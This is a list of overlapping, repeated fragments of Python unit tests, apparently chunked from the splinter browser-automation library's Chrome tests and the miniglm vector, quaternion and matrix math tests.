"file. import os import unittest from splinter import Browser from",
"reserved. # Use of this source code is governed by",
"be found in the LICENSE file. import os import unittest",
"def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should provide",
"way to change file field value\" file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)),",
"that can be found in the LICENSE file. import os",
"Browser(\"chrome\", fullscreen=True) @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def",
"from .base import WebDriverTests from selenium.common.exceptions import WebDriverException def chrome_installed():",
"unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\") @classmethod def tearDownClass(cls):",
"@classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self): with",
"False return True class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser",
"Browser(\"chrome\") except WebDriverException: return False return True class ChromeBrowserTest(WebDriverTests, unittest.TestCase):",
"file_path) self.browser.find_by_name('upload').click() html = self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html) def",
"splinter authors. All rights reserved. # Use of this source",
"WebDriverException def chrome_installed(): try: Browser(\"chrome\") except WebDriverException: return False return",
"def setUpClass(cls): cls.browser = Browser(\"chrome\") @classmethod def tearDownClass(cls): cls.browser.quit() def",
"'mockfile.txt' ) self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html = self.browser.html self.assertIn('text/plain', html)",
"def setUpClass(cls): cls.browser = Browser(\"chrome\", fullscreen=True) @classmethod def tearDownClass(cls): cls.browser.quit()",
"setUpClass(cls): cls.browser = Browser(\"chrome\") @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self):",
"\"should provide a way to change file field value\" file_path",
".base import WebDriverTests from selenium.common.exceptions import WebDriverException def chrome_installed(): try:",
"return False return True class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls):",
"os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html = self.browser.html",
"self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self): with Browser('chrome') as internet: pass class",
"found in the LICENSE file. import os import unittest from",
"def test_should_support_with_statement(self): with Browser('chrome') as internet: pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase):",
"def chrome_installed(): try: Browser(\"chrome\") except WebDriverException: return False return True",
"cls.browser = Browser(\"chrome\", fullscreen=True) @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self):",
"setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should provide a way to change",
"html) self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self): with Browser('chrome') as internet: pass",
"Use of this source code is governed by a BSD-style",
"unittest from splinter import Browser from .fake_webapp import EXAMPLE_APP from",
"ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\", fullscreen=True) @classmethod",
"field value\" file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file', file_path)",
"All rights reserved. # Use of this source code is",
"def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self): with Browser('chrome',",
"BSD-style # license that can be found in the LICENSE",
"pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\",",
"= self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self): with Browser('chrome')",
"def setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should provide a way to",
"@classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should",
"in the LICENSE file. import os import unittest from splinter",
"change file field value\" file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' )",
"utf-8 -*- # Copyright 2013 splinter authors. All rights reserved.",
"= os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html =",
"license that can be found in the LICENSE file. import",
"# Copyright 2013 splinter authors. All rights reserved. # Use",
"value\" file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click()",
"setUpClass(cls): cls.browser = Browser(\"chrome\", fullscreen=True) @classmethod def tearDownClass(cls): cls.browser.quit() def",
") self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html = self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'),",
"Browser('chrome') as internet: pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls):",
"provide a way to change file field value\" file_path =",
"LICENSE file. import os import unittest from splinter import Browser",
"file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html",
"self.browser.find_by_name('upload').click() html = self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self):",
"return True class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser =",
"class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\", fullscreen=True)",
"a way to change file field value\" file_path = os.path.join(",
"import Browser from .fake_webapp import EXAMPLE_APP from .base import WebDriverTests",
"Copyright 2013 splinter authors. All rights reserved. # Use of",
"# license that can be found in the LICENSE file.",
"Browser(\"chrome\") @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self):",
"selenium.common.exceptions import WebDriverException def chrome_installed(): try: Browser(\"chrome\") except WebDriverException: return",
"cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should provide a way",
"as internet: pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser",
"code is governed by a BSD-style # license that can",
"is governed by a BSD-style # license that can be",
"= Browser(\"chrome\", fullscreen=True) @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP)",
"rights reserved. # Use of this source code is governed",
"governed by a BSD-style # license that can be found",
"internet: pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser =",
"os import unittest from splinter import Browser from .fake_webapp import",
"this source code is governed by a BSD-style # license",
"class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\") @classmethod",
"authors. All rights reserved. # Use of this source code",
"html) def test_should_support_with_statement(self): with Browser('chrome') as internet: pass class ChromeBrowserFullscreenTest(WebDriverTests,",
"file field value\" file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file',",
"tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should provide a",
"import WebDriverTests from selenium.common.exceptions import WebDriverException def chrome_installed(): try: Browser(\"chrome\")",
"source code is governed by a BSD-style # license that",
"self.browser.visit(EXAMPLE_APP) def test_attach_file(self): \"should provide a way to change file",
"import WebDriverException def chrome_installed(): try: Browser(\"chrome\") except WebDriverException: return False",
"a BSD-style # license that can be found in the",
"fullscreen=True) @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self):",
"coding: utf-8 -*- # Copyright 2013 splinter authors. All rights",
"WebDriverException: return False return True class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def",
"WebDriverTests from selenium.common.exceptions import WebDriverException def chrome_installed(): try: Browser(\"chrome\") except",
"of this source code is governed by a BSD-style #",
"from selenium.common.exceptions import WebDriverException def chrome_installed(): try: Browser(\"chrome\") except WebDriverException:",
"html = self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self): with",
"def test_attach_file(self): \"should provide a way to change file field",
"self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self): with Browser('chrome') as internet:",
"# -*- coding: utf-8 -*- # Copyright 2013 splinter authors.",
"setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self): with Browser('chrome', fullscreen=True) as internet: pass",
"except WebDriverException: return False return True class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod",
"import EXAMPLE_APP from .base import WebDriverTests from selenium.common.exceptions import WebDriverException",
"from splinter import Browser from .fake_webapp import EXAMPLE_APP from .base",
"from .fake_webapp import EXAMPLE_APP from .base import WebDriverTests from selenium.common.exceptions",
"by a BSD-style # license that can be found in",
"Browser from .fake_webapp import EXAMPLE_APP from .base import WebDriverTests from",
"test_attach_file(self): \"should provide a way to change file field value\"",
"os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt' ) self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html = self.browser.html self.assertIn('text/plain',",
"test_should_support_with_statement(self): with Browser('chrome') as internet: pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod",
"tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self): with Browser('chrome', fullscreen=True)",
"can be found in the LICENSE file. import os import",
"try: Browser(\"chrome\") except WebDriverException: return False return True class ChromeBrowserTest(WebDriverTests,",
"the LICENSE file. import os import unittest from splinter import"
] |
[
"modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor = Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor,",
"json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\")) # file = File() classifyModel =",
"* 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"])",
"from Automation.distributor import Distributor from Performance import recoder from WebInterface",
"from Performance import recoder from WebInterface import web modelConfig =",
"print(\"文件合并失败\") # print(\"回车退出\") # input() # exit(0) recoder.Recoder.debug = False",
"os import json from File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'",
"[classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor = Distributor(modelConfig, config[\"adb_path\"],",
"= json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\")) # file",
"# if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\") # print(\"回车退出\")",
"<filename>main.py import os import json from File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL']",
"os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor = Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor, config) if",
"if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\") # print(\"回车退出\") #",
"60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"],",
"recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor =",
"# print(\"回车退出\") # input() # exit(0) recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime",
"Distributor from Performance import recoder from WebInterface import web modelConfig",
"def main(): from Automation.distributor import Distributor from Performance import recoder",
"recoder from WebInterface import web modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName =",
"file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\") # print(\"回车退出\") # input() #",
"# input() # exit(0) recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime = 60",
"= 60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] =",
"json from File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def fileRead(fileName,",
"= os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor = Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor, config)",
"# exit(0) recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime = 60 * 60",
"classifyModel = modelConfig[\"imageClassificationModel\"] # if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): #",
"File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def fileRead(fileName, encoding='utf-8'): with open(fileName, encoding=encoding)",
"as f: return f.read() def main(): from Automation.distributor import Distributor",
"import json from File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def",
"web modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\"))",
"Performance import recoder from WebInterface import web modelConfig = json.loads(fileRead(\"config/model.json\"))",
"f.read() def main(): from Automation.distributor import Distributor from Performance import",
"# modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor = Distributor(modelConfig, config[\"adb_path\"], labelsName)",
"classifyModel[\"files\"]): # print(\"文件合并失败\") # print(\"回车退出\") # input() # exit(0) recoder.Recoder.debug",
"with open(fileName, encoding=encoding) as f: return f.read() def main(): from",
"Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor, config) if __name__ == \"__main__\": main()",
"import recoder from WebInterface import web modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName",
"labelsName = json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\")) # file = File()",
"print(\"回车退出\") # input() # exit(0) recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime =",
"= Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor, config) if __name__ == \"__main__\":",
"Automation.distributor import Distributor from Performance import recoder from WebInterface import",
"recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime = 60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]],",
"False recoder.Recoder.debugSleepingTime = 60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) #",
"def fileRead(fileName, encoding='utf-8'): with open(fileName, encoding=encoding) as f: return f.read()",
"recoder.Recoder.debugSleepingTime = 60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"]",
"encoding='utf-8'): with open(fileName, encoding=encoding) as f: return f.read() def main():",
"import Distributor from Performance import recoder from WebInterface import web",
"from File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def fileRead(fileName, encoding='utf-8'):",
"# print(\"文件合并失败\") # print(\"回车退出\") # input() # exit(0) recoder.Recoder.debug =",
"os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def fileRead(fileName, encoding='utf-8'): with open(fileName, encoding=encoding) as",
"config = json.loads(fileRead(\"config/config.json\")) # file = File() classifyModel = modelConfig[\"imageClassificationModel\"]",
"input() # exit(0) recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime = 60 *",
"return f.read() def main(): from Automation.distributor import Distributor from Performance",
"encoding=encoding) as f: return f.read() def main(): from Automation.distributor import",
"fileRead(fileName, encoding='utf-8'): with open(fileName, encoding=encoding) as f: return f.read() def",
"file = File() classifyModel = modelConfig[\"imageClassificationModel\"] # if not file.mergedFile(classifyModel[\"filePath\"],",
"import os import json from File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL'] =",
"File.file import File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def fileRead(fileName, encoding='utf-8'): with",
"from WebInterface import web modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\"))",
"= json.loads(fileRead(\"config/config.json\")) # file = File() classifyModel = modelConfig[\"imageClassificationModel\"] #",
"exit(0) recoder.Recoder.debug = False recoder.Recoder.debugSleepingTime = 60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"],",
"json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\")) # file =",
"= '3' def fileRead(fileName, encoding='utf-8'): with open(fileName, encoding=encoding) as f:",
"File() classifyModel = modelConfig[\"imageClassificationModel\"] # if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]):",
"json.loads(fileRead(\"config/config.json\")) # file = File() classifyModel = modelConfig[\"imageClassificationModel\"] # if",
"60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor",
"import File os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def fileRead(fileName, encoding='utf-8'): with open(fileName,",
"import web modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\")) config =",
"not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\") # print(\"回车退出\") # input()",
"main(): from Automation.distributor import Distributor from Performance import recoder from",
"modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]]) # modelConfig[\"imageClassificationModel\"][\"filePath\"] = os.path.join(classifyModel[\"filePath\"], classifyModel[\"fileName\"]) distributor = Distributor(modelConfig,",
"f: return f.read() def main(): from Automation.distributor import Distributor from",
"# file = File() classifyModel = modelConfig[\"imageClassificationModel\"] # if not",
"classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\") # print(\"回车退出\") # input() # exit(0)",
"modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\")) #",
"modelConfig[\"imageClassificationModel\"] # if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\") #",
"'3' def fileRead(fileName, encoding='utf-8'): with open(fileName, encoding=encoding) as f: return",
"= False recoder.Recoder.debugSleepingTime = 60 * 60 recoder.Recoder.initDataSet([modelConfig[\"objectDetectionModel\"][\"modelName\"], modelConfig[\"addSanityModel\"][\"modelName\"]], [classifyModel[\"modelName\"]])",
"classifyModel[\"fileName\"]) distributor = Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor, config) if __name__",
"open(fileName, encoding=encoding) as f: return f.read() def main(): from Automation.distributor",
"WebInterface import web modelConfig = json.loads(fileRead(\"config/model.json\")) labelsName = json.loads(fileRead(\"config/labelsName.json\")) config",
"= File() classifyModel = modelConfig[\"imageClassificationModel\"] # if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"],",
"distributor = Distributor(modelConfig, config[\"adb_path\"], labelsName) web.run(distributor, config) if __name__ ==",
"= modelConfig[\"imageClassificationModel\"] # if not file.mergedFile(classifyModel[\"filePath\"], classifyModel[\"fileName\"], classifyModel[\"files\"]): # print(\"文件合并失败\")",
"= json.loads(fileRead(\"config/labelsName.json\")) config = json.loads(fileRead(\"config/config.json\")) # file = File() classifyModel"
] |
[
"type(res) is tuple def test_mul_vec_vec(): res = miniglm.mul((5.0, 6.0, 7.0),",
"def test_dot_vec(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3))",
"0.259, 0.814, 0.851, 0.074, 0.518, ) res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res),",
"0.1, 0.7, 0.5)) def test_pack_scalar(): assert miniglm.pack(1.75) == struct.pack('f', 1.75)",
"is tuple def test_sub_vec_scalar(): res = miniglm.sub((5.0, 6.0, 7.0), 1.5)",
"assert type(res) is tuple def test_norm_quat(): res = miniglm.norm((2.0, 4.0,",
"2.0, (0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0) / 2.0,",
"1.75) def test_pack_vec(): vec = (1.0, 2.0, 3.0) assert miniglm.pack(vec)",
"2.0, np.sqrt(2.0) / 2.0)) def test_norm_vec(): res = miniglm.norm((48.0, 60.0,",
"= miniglm.cross((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18,",
"2.0, 3.0), 0.5) np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5)) assert type(res) is",
"(7.2, 1.1, 3.2), 0.2) np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32)) assert type(res)",
"7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4)) assert type(res)",
"(2.0, 1.0, 3.0)) def test_swizzle_quat(): res = miniglm.swizzle((0.1, 0.7, 0.5,",
"mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec(): res",
"type(res) is tuple def test_add_vec_scalar(): res = miniglm.add((1.0, 2.0, 3.0),",
"2.0)) def test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 0.0,",
"0.074, 0.962, -0.259, -0.518, 0.259, 0.814, 0.851, 0.074, 0.518, )",
"= (0.24, 0.3, 0.32, 0.8660254037844387) angle, axis = miniglm.split(quat) np.testing.assert_almost_equal(angle,",
"= miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48, 0.60, 0.64))) expected = (0.24,",
"= (0.1, 0.7, 0.5, 0.5) assert miniglm.pack(quat) == struct.pack('ffff', *quat)",
"assert miniglm.pack(quat) == struct.pack('ffff', *quat) def test_pack_mat(): mat = (1.0,",
"(0.2, 0.4, 0.8, 0.4) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple",
"tuple def test_cast(): quat = (0.2, 0.4, 0.8, 0.4) mat",
"(0.48, 0.60, 0.64)) assert type(axis) is tuple def test_rotate_x_90_deg(): res",
"(0.0, np.sqrt(2.0) / 2.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_z_90_deg():",
"def test_mul_vec_vec(): res = miniglm.mul((5.0, 6.0, 7.0), (1.5, 1.8, 1.2))",
"miniglm.swizzle((1.0, 2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0)) def test_swizzle_quat():",
"0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_split_quat():",
"test_pack_vec(): vec = (1.0, 2.0, 3.0) assert miniglm.pack(vec) == struct.pack('fff',",
"4.32)) assert type(res) is tuple def test_mix_scalar(): res = miniglm.mix(1.0,",
"7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_dot_quat(): res =",
"struct import numpy as np import pytest import miniglm def",
"mat = (1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0,",
"np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3)) assert type(res) is tuple def test_dot_vec():",
"tuple def test_split_quat(): quat = (0.24, 0.3, 0.32, 0.8660254037844387) angle,",
"type(res) is tuple def test_split_quat(): quat = (0.24, 0.3, 0.32,",
"2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0)) def test_swizzle_quat(): res",
"assert type(res) is tuple def test_split_quat(): quat = (0.24, 0.3,",
"3.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2)) assert type(res)",
"test_add_vec_vec(): res = miniglm.add((1.0, 2.0, 3.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res,",
"miniglm.swizzle((0.1, 0.7, 0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7, 0.5))",
"mat = (-0.6, 0.8, 0.0, -0.48, -0.36, 0.8, 0.64, 0.48,",
"miniglm.rotate(miniglm.pi / 2.0, (0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) /",
"( 0.074, 0.962, -0.259, -0.518, 0.259, 0.814, 0.851, 0.074, 0.518,",
"8.0, 4.0)) expected = (0.2, 0.4, 0.8, 0.4) np.testing.assert_almost_equal(res, expected)",
"(-0.6, 0.8, 0.0, -0.48, -0.36, 0.8, 0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat),",
"2.0, (0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) / 2.0, 0.0,",
"3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3)) assert type(res) is tuple def",
"5.0, 6.0, 7.0, 8.0, 9.0) assert miniglm.pack(mat) == struct.pack('fffffffff', *mat)",
"(0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_mix_vec(): res = miniglm.mix((2.5,",
"2.0) def test_rotate(): res = miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48, 0.60,",
"type(axis) is tuple def test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0,",
"*quat) def test_pack_mat(): mat = (1.0, 2.0, 3.0, 4.0, 5.0,",
"0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7, 0.5)) def test_pack_scalar(): assert",
"def test_mix_vec(): res = miniglm.mix((2.5, 3.4, 4.6), (7.2, 1.1, 3.2),",
"0.8, 0.4) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_norm_mat():",
"(0.0, 0.0, np.sqrt(2.0) / 2.0, np.sqrt(2.0) / 2.0)) def test_norm_vec():",
"expected = (0.2, 0.4, 0.8, 0.4) np.testing.assert_almost_equal(res, expected) assert type(res)",
"3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64)) assert type(axis) is tuple def",
"mat = ( 0.074, 0.962, -0.259, -0.518, 0.259, 0.814, 0.851,",
"miniglm.add((1.0, 2.0, 3.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2))",
"is tuple def test_add_vec_scalar(): res = miniglm.add((1.0, 2.0, 3.0), 0.5)",
"miniglm.sub((5.0, 6.0, 7.0), 1.5) np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5)) assert type(res)",
"test_mix_scalar(): res = miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res, 2.0) def test_rotate():",
"0.0, np.sqrt(2.0) / 2.0)) def test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi /",
"np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) / 2.0, 0.0, np.sqrt(2.0) / 2.0)) def",
"4.6), (7.2, 1.1, 3.2), 0.2) np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32)) assert",
"np.sqrt(2.0) / 2.0)) def test_norm_vec(): res = miniglm.norm((48.0, 60.0, 64.0))",
"3.0)) def test_swizzle_quat(): res = miniglm.swizzle((0.1, 0.7, 0.5, 0.5), 'wxyz')",
"(0.24, 0.3, 0.32, 0.8660254037844387) angle, axis = miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi",
"np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4)) assert type(res) is tuple def test_mul_vec_scalar():",
"1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) / 2.0, 0.0, np.sqrt(2.0) /",
"(0.48, 0.60, 0.64) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def",
"tuple def test_mul_vec_scalar(): res = miniglm.mul((1.0, 2.0, 3.0), 2.0) np.testing.assert_almost_equal(res,",
"0.64)) assert type(axis) is tuple def test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi",
"np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32)) assert type(res) is tuple def test_mix_scalar():",
